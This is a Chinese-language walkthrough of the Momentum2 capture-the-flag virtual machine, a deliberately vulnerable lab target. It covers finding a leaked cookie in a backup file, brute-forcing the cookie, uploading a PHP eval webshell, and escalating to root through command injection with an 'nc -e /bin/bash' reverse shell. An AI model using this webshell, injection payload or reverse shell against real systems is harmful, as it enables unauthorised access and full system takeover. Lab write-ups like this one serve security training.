Momentum靶机系列Momentum2

先进行arp扫描:

获得渗透靶机的IP:192.168.13.142

扫描一下靶机的使用的端口:

具有tcp端口和http服务的80端口

可以扫描一下80端口的http服务:

可以发现一个网站:http://192.168.13.142

打开该网址:

查看一下源代码:

没有什么可以看的东西

那就尝试一下进行网站域名的扫描:

可以看到:

18:20:09 200 - 0B - /ajax.php

18:20:13 200 - 513B - /dashboard.html

18:20:16 200 - 1KB - /index.html

18:20:16 200 - 930B - /js/

18:20:18 200 - 626B - /manual/index.html

这几个存在内容:

尝试查看js的域名:

js下存在一串js代码(进行解释):

function uploadFile() {

//获得文件:

var files = document.getElementById("file").files;

if(files.length > 0 ){

//用于创建表单数据对象

var formData = new FormData();

formData.append("file", files0);

//formData.append() 是 FormData 对象提供的方法,用于向表单数据对象中添加字段和值

var xhttp = new XMLHttpRequest();

//XMLHttpRequest 对象提供了在客户端通过 HTTP 协议与服务器进行交互的功能

// Set POST method and ajax file path

xhttp.open("POST", "ajax.php", true);

//使用 open() 方法设置请求的类型为 POST,URL 为 "ajax.php",并指定使用异步方式发送请求(第三个参数为 true)

//异步方式意味着 JavaScript 在发送请求后会立即继续执行后续的代码,而不必等待服务器响应

// call on request changes state

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

var response = this.responseText;

if(response == 1){

alert("Upload successfully.");

}else{

alert("File not uploaded.");

}

}

};

// Send request with data

xhttp.send(formData);

}else{

alert("Please select a file");

}

}

简单来说就是,存在文件上传,上传的文件会添加到表单文件中 而且要想上传文件后就需要进行这串代码的过滤

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

var response = this.responseText;

if(response == 1){

alert("Upload successfully.");

}else{

alert("File not uploaded.");

}

}

}

当http请求返回为1时可以上传文件,这样就可以上传一个木马来获得权限

其中http请求来自ajax.php的请求,那么就存在ajax.php和文件上传点:

找到文件上传点:

/dashboard.html

可以尝试上传一个php试试看:

不能上传

那就可以看一下ajax.php的内容:

没有东西,尴尬了

看来是没有显示,查看资料后获得,存在备份文件:

http://192.168.13.142/ajax.php.bak

获得备份文件:

打开看看:

获得文件内容:

//The boss told me to add one more Upper Case letter at the end of the cookie

//老板让我在饼干的末尾再添加一个大写字母

if(isset(_COOKIE\['admin'\]) \&\& _COOKIE'admin' == '&G6u@B6uDXMq&Ms'){

//+ Add if $_POST'secure' == 'val1d'

$valid_ext = array("pdf","php","txt");

}

else{

$valid_ext = array("txt");

}

// Remember success upload returns 1

//记住成功上传返回 1

可以看到需要一个cookie :名为admin 值为:&G6u@B6uDXMq&Ms+大写字母

然后还需要获得一个post传参的secure其值为valu1d

可以尝试获得一个爆破的密码本:

使用 crunch来自己创建一个密码本:

crunch 11 -t ,>>pass.txt

现在就可以抓住文件上传的网页:

上传上我们需要的条件:

将其发送到爆破:在cookie的地方添加一个爆破点:

Cookie: admin=%26G6u%40B6uDXMq%26Ms§A§

添加爆破字典,然后开始爆破:

文件包的大小差不多需要一个一个的看:

看到反应包R的返回了1,所以,当为R是就可以上传一个php文件:

将这个包返回:

php文件内容为一句话木马:

<?php @eval($_POST'cmd'); ?>

上传成功:

在owls下存在我们上传的文件:

打开蚁剑:

进行连接

连接成功:

开启一个终端进行监听:

然后进行shell交互:

python -c "import pty;pty.spawn('/bin/bash')"

交互成功:查看权限:

不是root的用户:

找到home下有一个用户而且还有用户的密码:

可以看到用户:athena和密码:myvulnerableappAsterisk

因为还有ssh的没有使用,尝试登录:ssh

what?密码错了吗?

查看别人的资料发现:

密码后面的Asterisk而是一个*

再次尝试一下:

登陆上去了

查看一下当前用户具有的权限sudo -l

发现:/usr/bin/python3 /home/team-tasks/cookie-gen.py这个py脚本具有root脚本:

cat一下这个脚本:

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('! for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

random.seed = seed

cookie = ''

for c in range(20):

cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed

subprocess.Popen(cmd, shell=True)

分析一下:

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('! for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

#输入一个那种子(就是一串字符)

random.seed = seed

#没什么用

cookie = ''

for c in range(20):

cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt " % seed

#将seed的结果输入到log.txt中

subprocess.Popen(cmd, shell=True)#然后将cmd中的命令当作shell脚本执行

所以只需要上传一个监听代码就可以进行对靶机的监听,而且还获得了root权限:所以运行该脚本,并输入;nc -e /bin/bash 192.168.13.138 6666

开启一个新的终端:

监听成功:进行交互,交互成功后获得root权限

相关推荐
戴为沐2 天前
Linux内存扩容指南
linux
zylyehuo2 天前
Linux 彻底且安全地删除文件
linux
用户805533698033 天前
主线 U-Boot 上 RK3506:和闭源 rkbin 拔河的三个隐性契约
linux·嵌入式
用户034095297913 天前
linux fcitx 5 雾凇拼音 设置在中文输入法下仍然输入英文标点
linux
Web3探索者4 天前
可视化服务器管理和传统命令行区别是什么?新手教程:Linux 运维到底该用图形界面还是 SSH 命令行?
linux·ssh
zylyehuo5 天前
Linux系统中网线与USB网络共享冲突
linux
Sokach10156 天前
Linux Shell 脚本从零到能用:一个新手的一天学习总结
linux
AlfredZhao6 天前
Docker 容器时区不对,`timedatectl` 不存在怎么办?
linux·timezone
zzzzzz3108 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
XIAOHEZIcode8 天前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏